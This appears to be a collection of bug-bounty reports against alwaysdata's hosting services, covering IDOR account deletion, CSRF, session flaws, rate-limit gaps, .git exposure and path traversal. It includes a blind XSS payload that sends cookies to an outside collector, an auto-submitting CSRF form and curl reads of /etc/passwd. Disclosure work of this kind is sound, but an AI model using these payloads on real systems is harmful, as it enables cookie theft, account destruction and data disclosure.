All Projects

vulnerability name : open redirection

url: https://admin.alwaysdata.com/login/?next=%2f

step to reproduced:
1.intercept the url
2.enter bing.com in the parameter
3. on location you see that response will shown on location bing.com

for furthur info please see the screenshot

Thank you
Anant

vulnerability name : csrf where attacker can use unused token to access victim account

description: attacker can use same csrf token to login into an account that might take account takeover vulnerability

step to reproduced:
1.make two account with different email
2.intercept one mail account and copy its csrf token and drop the response
3. change that token with another account and login with 2nd account

for furthur info please see the poc

Thank you
Anant

Description:

The /user/delete/ endpoint allows deleting an account by sending a POST request. By replacing the sessionid cookie with that of another user, it is possible to delete any user account without knowing their password or performing any authentication.

This indicates a broken authentication / session management vulnerability where the server blindly trusts the sessionid cookie for critical actions.

Steps to Reproduce:

1.Log in as the victim account.

2.Obtain the victim’s sessionid.

3.In another browser/session, log in as the attacker.

4.Capture the delete account request: POST /user/delete/

5.Replace the attacker’s sessionid in the Cookie header with the victim’s sessionid.

6.Send the modified request.

7.Observe that the victim account gets deleted.

“Note: An attacker can brute-force these session IDs with the help of AI.”

Impact:

An attacker can delete any user's account by guessing or brute-forcing session IDs and using them in the delete request.

*Any attacker with a valid sessionid can delete any user’s account.

*No password, no verification, no re-authentication.

*Leads to complete account loss and permanent data deletion.

Severity: Critical (P1).

Recommended Fix:

*Bind session to user identity server-side and reject modified session cookies.

*Require full re-authentication (password) for account deletion.

*Add strict CSRF validation and session consistency checks.

Hello Team,

My last bug on no rate limit was closed due to duplicat. Here i am sending you one more no rate limit vulnrability

vulnerability name : no rate limit vulnerability description : A little bit about Rate Limit:
A rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.

## Description:-
I have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email. vulnerable url : https://mailman.alwaysdata.com

step to reproduce : step1: intercept the forget password request on burpsuite step2: send it the reques in intruder and sequencer step3: add any path in intruder and select number payload and start attack or live capture on sequencer

Thank you

vulnerability name : no rate limit vulnerability description : A little bit about Rate Limit:
A rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.
In case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.
## Description:-
I have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email. vulnerable url : https://admin.alwaysdata.com/password/lost/ step to reproduce : step1: intercept the forget password request on burpsuite step2: send it the reques in intruder and sequencer step3: add any path in intruder and select number payload and start attack or live capture on sequencer

no task description

Description: After unlinking Google from a user's account, previously created sessions via Google remain active and are not terminated.

Steps to reproduce:

1. Browser A: Sign in to the account via Google OAuth. Keep the session.

2. Browser B: Sign in to the same account using email/password.

3. From Browser B, go to account settings and unlink Google.

4. Return to Browser A and notice that the session was not terminated.

POC: https://admin.alwaysdata.com/support/90046/

Impact:
An attacker who possesses a previous session via Google remains able to access the account even after the owner believes they have unlinked it — leading to persistent unauthorized access.

Suggestion for fix:

Force immediate logout from all sessions associated with the OAuth provider.

Summary:
The session management does not include any IP address, geolocation, or device fingerprinting checks. Once a session token is obtained, it can be replayed from any device, browser, or country, allowing attackers to bypass contextual integrity checks and maintain unauthorized access.

Steps to Reproduce:
Log in to alwaysdata.com and capture the session token (e.g., via browser DevTools or proxy).

Move to a different device, browser, or VPN geolocation.

Replay the captured token (e.g., by importing cookies or using the token in API headers).

🎯 Result: The session remains valid — no reauthentication, MFA challenge, or warning is triggered.

Impact:
Allows session hijack from another country or device without detection.

No context-aware defense such as:

IP or ASN consistency checks

Browser/device fingerprinting

Geo-velocity anomaly detection

Supports stealthy unauthorized access, even if login alerts or 2FA are present.

Summary:
The application allows users to reuse their existing password when performing a password change or password reset. This undermines the security intent of these features, as users can bypass the enforcement of setting a new, stronger, and unique credential. Allowing password reuse increases the risk of account takeover, brute-force persistence, and failure to comply with security best practices (such as NIST SP 800-63B and OWASP ASVS), which explicitly recommend preventing the reuse of the same password.

Steps to Reproduce:

Log in to the alwaysdata.com application using valid credentials.

Navigate to the Change Password or Password Reset functionality.

Enter the current password in both the "Old Password" and "New Password" fields (or set the reset password to the same as the old one).

Observe that the operation succeeds, and the password remains unchanged.

Impact:

Defeats the purpose of password change/reset: attackers with leaked or compromised credentials can maintain persistence by resetting to the same password.

Increases susceptibility to brute force and credential stuffing, since the password remains weak or already compromised.

Violates industry-standard best practices for credential management (OWASP, NIST).

Reduces the effectiveness of incident response: if credentials are suspected to be exposed, forcing a reset but allowing reuse leaves accounts vulnerable.

Security Best Practices Reference:

NIST SP 800-63B: Recommends preventing password reuse and enforcing that new credentials differ from previously used ones.

OWASP ASVS 2.1.8: Applications should prevent the use of the same value as the current password when changing or resetting credentials.

Recommendation:

Implement a password history check to ensure that newly set passwords are different from the current one.

Enforce a configurable password history (e.g., last 3–5 passwords cannot be reused).

Provide appropriate user feedback when the entered password matches the old one.

Severity: High – This is a critical flaw because it undermines a fundamental security control designed to mitigate account compromise.

Summary
The application applies rate limiting on failed login attempts per IP address, but does not combine this with account- or device-based throttling. An attacker can rotate IP addresses (using VPNs, proxies, or botnets) and continue brute-force or credential stuffing attempts against the same account, effectively bypassing the rate limit. This allows high-volume automated attacks that can lead to account takeover, credential stuffing success, and large-scale account enumeration.

Steps to Reproduce
In the alwaysdata.com application, choose a target account (e.g., victim@example.com).

From IP A, submit the maximum allowed failed login attempts until the application rate-limits further attempts from IP A. Record the response/status code.

Switch to IP B (use VPN, proxy, or other IP rotation technique).

Attempt to authenticate to the same target account using different password guesses. Observe that attempts from IP B are accepted and counted separately (rate limit not enforced per account).

Repeat with IP C, IP D, etc., and observe continued unrestricted attempts against the same account.

(Optional) Automate steps 2–4 from a list of rotating IPs to confirm large-scale brute-force is possible.

Expected secure behavior: The system should limit authentication attempts per account (or per account+device fingerprint) in addition to per-IP limits.
Observed insecure behavior: Authentication attempts continue after IP rotation; rate limiting is effectively bypassed.

Impact
Account Takeover (High): Continuous attempts across rotated IPs increase the probability of successfully brute-forcing a password or succeeding with credential stuffing.

Mass Credential Stuffing (High → Critical): Attackers can target many accounts at scale by cycling IPs, causing large-scale account compromise.

Recommended Fixes
Enforce account-based throttling (primary)

Track failed authentication attempts per account (email/username) and apply progressive throttling or temporary lockouts. Example policy: after 5 failed attempts for an account within 15 minutes, block further attempts for that account for 15 minutes.

Combine IP + account limits (defense-in-depth)

Use a hybrid key: limit_key = hash(account_id + ip) plus a separate limit_key = account_id. This reduces false positives while preventing IP-rotated attacks.

#Failure to invalidate session after logout from 2nd tab.

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate session after logout from 2nd tab vulnerability in your domain. Attacker can view token and any sensitive data.

This Vulnerability found in:
1. admin.alwaysdata.com
2. webmail.alwaysdata.com

#Steps to Reproduce:

1. Login to admin.alwaysdata.com
2. Open another tab and copy the login account URL and paste into 2nd tab.
3. Go to profile option into 1st tab or any other sensitive data page.
4. Logout your account from 2nd tab and then visit to 1st tab, don't refresh that page, so you can see that page is still active and attacker can see victim details or any sensitive data.

Impact:

If a user login their account in café or in a office, Victim open another tab for doing their work and then logout the account in that tab. Victim assume that the account are logged out and victim forget to close the browser but into 1st tab, victim account are still logged in and attacker can view any sensitive data and token or any bank details.

#Note:

I can make a one video for both('admin.alwaysdata.com','webmail.alwaysdata.com')

Thank You,

Waleed Anwar

Executive summary:
The .git directory on https://security.alwaysdata.com is publicly accessible. .git/HEAD and .git/config return repository metadata (remote origin). This can allow repository reconstruction and full source code disclosure.

Reporter IP: 192.168.1.17
Custom header used: X-Bug-Bounty: Hacker-sam123

Proof-of-Concept (minimal, non-destructive):
1) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD

1. > HTTP/2 200 … body: "ref: refs/heads/master"

2) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

1. > returns config (screenshot attached) showing remote origin.

I performed only minimal reads to prove exposure. I DID NOT download .git/objects or reconstruct the repository in compliance with program rules.

Impact:
Public .git exposure may allow extraction of source code, commit history, and potentially hard-coded secrets — critical confidentiality risk.

Suggested fix:
- Immediately deny HTTP access to .git (examples: Apache/Nginx rules).
- Remove .git from webroot or deploy built artifacts instead.
- Rotate any exposed secrets if found.

1. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD 2. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

Reporter: Li Xian (otterlysecure)
Date: 22 Sep 2025 (UTC+8)
Asset: Hosting control panel → virtual host configuration for any domain

Summary

The hosting control panel accepts unvalidated paths for a site’s Root directory and writes them directly into the Apache vhost DocumentRoot. By setting DocumentRoot to /, an attacker can publish arbitrary world-readable files from the server filesystem to the internet (e.g., /etc/passwd, /etc/hosts) under the attacker’s domain. This is a tenant isolation bypass and information disclosure vulnerability.

Severity Rating: High

CVSS v3.1 (proposed): 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Impact

Unauthenticated internet users can read any world-readable file on the server via the affected domain, exposing system configuration, service versions, and other sensitive information that materially aids further attacks.

Violates tenant isolation in principle: if any tenant or system component stores world-readable artifacts (logs, backups, static assets), these can be served publicly by another tenant’s vhost.

Expands attack surface for privilege escalation and targeted exploitation.

Affected Functionality

Hosting control panel “Root directory” setting for websites (Apache vhost generation).

Apache evaluates the resulting DocumentRoot without confinement to the account home.

Technical Details / Root Cause

User-supplied paths are written verbatim into Apache config. Example (observed vhost):

<VirtualHost *>

ServerName otterlysecure.alwaysdata.net
DocumentRoot "/home/otterlysecure/../../../../../../"
<Location />
  AddHandler fcgid-script .php
  FcgidWrapper "/usr/bin/env /usr/bin/php-cgi" .php
</Location>

</VirtualHost>

Because ../../.. is not canonicalized or constrained, the vhost can be pointed to any filesystem path (including /).

Proof of Concept (PoC)

In the control panel, set Root directory to:

../../../../..// (via path traversal)

Request world-readable system files via my domain:
curl -i https://otterlysecure.alwaysdata.net/etc/hosts curl -i https://otterlysecure.alwaysdata.net/etc/passwd

Observed results:

HTTP/200 with contents of /etc/hosts and /etc/passwd.

Reset Root directory back to a safe path under my home after testing.

Notes on scope/ethics

I accessed only system files (/etc/hosts, /etc/passwd) sufficient to demonstrate impact.

I did not attempt to access other tenants’ data or private directories.

Why this matters even if some paths 403

Reading /etc/* proves arbitrary file read of world-readable files over the public web. Current 403s on some directories (e.g., /home) are incidental to Unix permissions/overrides and do not mitigate the core design flaw (unconfined DocumentRoot).

Timeline

2025-09-22: Discovered and verified impact (read /etc/hosts, /etc/passwd over HTTPS via my domain).

2025-09-22: Report submitted.

Please see attachments.

Credits / Contact

Reporter: Li Xian

Preferred contact: lixianchai-ywh-fd1a7856643e0e35@yeswehack.ninja

Severity
P3 – Medium

Product / Area
Account Management / Shared Permissions / Email Management (domain selection when creating a Mailbox)

Summary
A previously reported issue was observed again (Report ID: [203], and it was marked as Fixed on [28/8/2025]). The issue is that an invited user who has not enabled two-factor authentication (2FA) can view the domains of another subscription when attempting to create a Mailbox from their personal account. This behavior reflects a failure to enforce the 2FA requirement and constitutes information disclosure.

This issue was re-observed on 15/09/2025.

Steps to Reproduce:

1. Create a subscription account in Alwaysdata and add a domain.

2. Create another user account (subscription).

3. From the main account, add this user as an Administrator with full permissions.

4. Enable the requirement for 2FA before access.

5. From the secondary account (the other user), attempt to add a Mailbox.

6. The domain list will display, including the main account’s domain, even though the user has not enabled 2FA.

POC: https://admin.alwaysdata.com/support/89183/

(Regression):

The vulnerability was originally reported and marked as Fixed.

Its reappearance means the fix was bypassed.

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

#Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Hello Team, I hope you are doing well. I found Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/marketplace/.
2. Click on Install any application button you want to install.
3. Fill the form and submit the request.
4. It will go https://admin.alwaysdata.com/user/validation-needed/.
5. Press Back Button and you can see all of these information you are submitted these are shown in the form.

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Firefox and Microsoft Edge.

Thank You,

Waleed Anwar

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing

Description The login endpoint implements rate limiting to prevent abuse, but it appears ineffective . Sending 100+ requests with null/empty payloads via Burp Intruder results in consistent 200 OK responses without triggering 429 . A correct password yields 302 (redirect, indicating success).

Affected Asset:https://admin.alwaysdata.com/login

Steps to Reproduce

1.Navigate to the login page (https://admin.alwaysdata.com/login).
2.Use Burp Suite Intruder to send 100+ requests with null/empty payloads
3.Observe 200 OK responses for all, no 429.
4.Test a valid credential: Receives 302.

Impact

Allows potential brute-force on passwords without reliable blocking.
Minor resource consumption from repeated requests.

Hello Team,

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.

CSRF HTML Code:

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://www.alwaysdata.com/en/contact/" method="POST">
      <input type="hidden" name="address" value="************" />
      <input type="hidden" name="name" value="janam" />
      <input type="hidden" name="number" value="**************" />
      <input type="hidden" name="slot" value="" />
      <input type="hidden" name="message" value="hello" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState(', '', '/');
      document.forms[0].submit();
    </script>
  </body>

There is a csrfmiddleware but when i was removing and sending the request to autenticated user its working and submitting the request.

Thank You,

Waleed Anwar

Hello there,

i found an XSS vulnerability affecting "addresses" JSON parameter in a POST request to admin.alwaysdata.com/site/resolver.
i have to apologies I didn't get around including a custom header before i found the bug, I'm hopeful this will be overlooked on my part
my POC Is attached below pretty neet and straightforward and includes my IP as requested in POC guidelines. cheers.

:)

IDOR-Lead To Any Account Deletion
Description:

There is a logic flaw in the permissions system. When a user is deleted through the /permissions/[id]/delete/ endpoint, the system does not properly check if the requester is allowed to delete that specific user.

By intercepting the request and changing the id value, a user can delete the Any Account by their Id

Steps to Reproduce:

1. Create a new accounts on alwaysdata with the following email:

`attacker1@gmail.com`

(Account A) 

`attacker2@gmail.com`
 (Account B)

 `Victim1@gmail.com`
 (Victim Account )

2. Go to:

`https://admin.alwaysdata.com/permissions/`
3. Add a second (Account B) as a team member/user:

`attacker2@gmail.com`
4. As Account A (attacker1@gmail.com), go to the Permissions panel again.

5. You will (see Account B) listed and a “delete” button next to it.

6. Use Burp Suite to intercept the deletion request for Account B, for example:

POST /permissions/402834/delete/

7. Modify the ID in the request to match Victim Account’s ID (e.g.,402812 ):

8.Send the modified request. (It will succeed)

Impact:

An attacker can exploit an IDOR vulnerability to delete any Account

Loss of access for the original owner

Loss of Availability (DoS against users):

An attacker can delete arbitrary user accounts, causing permanent or temporary loss of access. This results in a denial-of-service for targeted users or even large sets of users if automated.

Loss of Data Integrity:
Deleting an account typically removes associated personal information, preferences, content, or transaction history. This leads to irrecoverable data loss.

Escalation of Attacks:
Attackers could target privileged users (e.g., admins, moderators, or paying customers), deleting their accounts to gain an advantage or disrupt business operations.

Reputation & Trust Impact:
Users may lose trust in the platform if their accounts or data can be deleted by malicious actors without authorization.

Severity:Critical
CWE: CWE-639: Authorization Bypass Through User-Controlled Key

CVSS v3.1 Example Score:

Attack Vector: Network (N)

Attack Complexity: Low (L)

Privileges Required: Low (L) or None (N) depending on auth state

User Interaction: None (N)

Scope: Changed (C) if admins or high-privilege accounts are impacted

Confidentiality: Low (L)

Integrity: High (H)

Availability: High (H)
→ Base Score: ~8.5–9.1 (High/Critical)

Hello Team

I hope you are doing well. While Researching in your domain, I found csrftoken not unique to session or specific user and csrfmiddlewaretoken can be altered issue in https://admin.alwaysdata.com

Steps to Reproduce:

1: A post request will be sent /api/tokens/delete/302 or /api/tokens/delete/some_number and i see in burp that in the cookie's header csrftoken = vhHMjvtks3jwGkHikbY48d5gQR76yvPA and i see in the params sent that csrfmiddlewaretoken= 8b9QkWMZgnqohp9R77Tu4m46PQW0YZRwtiGsth59ygzKNzGZh8Ho2pZcvxTWmkwW

what i noticed is that changing csrfmiddlewaretoken's value to csrftoken 's value will still make the request work..
ie setting csrfmiddlewaretoken = vhHMjvtks3jwGkHikbY48d5gQR76yvPA will still let the request work.

2: I noticed that the csrftoken sent in requests is not unique to the session id or user logged , meaning if im logged in as user1 and have csrftoken=x then i can login as user2 and send the request with csrftoken=x and csrfmiddlewaretoken=x and it will work!

what does this mean?

3.this means csrfmiddlewaretoken does not really add another layer of protection, i can easily change it the csrftoken stored in the cookie and it will still work

4. given a valid csrftoken from any user (for example csrftoken=c7wq7XJaQq71Eump3tVwNJpOSHLbiqSC), its possible to create a csrf request that sends the POST /api/tokens/delete/index request (where index can be enumerated ) with this valid csrftoken being sent as the csrfmiddlewaretoken value and with
X-CSRF-Token set also as the valid csrf token as well and it will work and we can manage to delete user api tokens through csrf exploit( for example clicking on a website that sends such request).

Note:

First account user csrftoken can be used to remove second account api token.

Thank You,

Waleed Anwar

#Description:
During testing, I found that the TOTP code verification does not properly validate the expiry window. Even after waiting for the OTP to expire (30s), I was still able to use the expired code to perform sensitive actions like updating my profile.

#Impact:

Replay attack possible using previously used OTPs.

Weakens 2FA mechanism.

May allow attackers to bypass intended security checks.

#Steps to Reproduce:

Enable 2FA on account.

Generate OTP via authenticator app.

Wait for 30 seconds until OTP expires.

Submit the expired OTP.

Server still processes the action (profile updated).

#Expected Behavior:
The expired OTP should be rejected.

#Actual Behavior:
Expired OTP is accepted.

# HTTP Parameter Pollution Lead to Crash the Website of admin.alwaysdata.com:

Hello Sir, I hope you are doing well. While, Researching on your domain, I found HTTP Parameter Pollution Lead to Crash the Website of admin.alwaysdata.com.

Steps to Reproduce:

1. Login into admin.alwaysdata.com.
2. Go to https://admin.alwaysdata.com/search/?q=1.
3. Input &q= after q=1
4. Input long string which is attached below in the report.
5. You can see that Chrome are crashed and not responding.

Impact:

When attacker can send this https://admin.alwaysdata.com/search/?q=1&q=longstring to any authenticated user, his/her browser was crashed for long time.

#Note:

Tested in Chrome, Mozilla and Microsoft Edge.

Thank You,

Waleed Anwar

Description:

There is a logic flaw in the permissions system. When a user is deleted through the /permissions/[id]/delete/ endpoint, the system does not properly check if the requester is allowed to delete that specific user.

By intercepting the request and changing the id value, a user can delete the main admin — even if they don't have permission to do so. This can lead to full account takeover if the attacker had added themselves earlier as a user

Steps to Reproduce:

1. Create a new account on alwaysdata with the following email:

 `ebrahimmagdy517@gmail.com`  

 (will be referred to as the **primary account** / Account A)

2. Inside the admin panel, go to:

 `https://admin.alwaysdata.com/permissions/`

3. Add a second email address as a team member/user:

 `testhackers663@gmail.com`  
 (will be referred to as (secondary account) / Account B)

4. Accept the invitation and activate Account B via the link received in email.

5. As Account A (ebrahimmagdy517@gmail.com), go to the Permissions panel again.

6. You will (see Account B) listed and a “delete” button next to it.

 However, you **cannot delete Account A (yourself)** — which is expected.

7. Use Burp Suite to intercept the deletion request for Account B, for example:

POST /permissions/402834/delete/

8. Modify the ID in the request to match Account A’s ID (e.g.,402812 ):

9.Send the modified request. (It will succeed), even though you are trying to delete the owner of the project

10. As a result:
- Account A is no longer part of the project and has lost access.
- Account B now fully controls the project/domain (`aqaqwq.alwaysdata.net`) including settings, databases, and any hosted files.

Impact:

An attacker can exploit an IDOR vulnerability to delete the main admin account by modifying the user ID in a delete request. This leads to:

  Full account and domain takeover

  Loss of access for the original owner

  Complete control over data, settings, and services

If an attacker gains temporary access to the admin’s email, they can add their own account, then remove the real owner — resulting in a critical security breach

Recommendation:

- Implement strict access control checks on the `/permissions/[id]/delete/` endpoint.
- Deny deletion requests for project owners, regardless of ID manipulation.
- Ensure server-side validation enforces user role & permissions.
- Consider using UUIDs or scoped IDs instead of numeric incremental IDs for more secure object references.

Proof of Concept (Video):

https://drive.google.com/file/d/1XMGLchHjj1Wl6EsgRPUZeniTexVCTJsb/view?usp=drive_link

Severity:Critical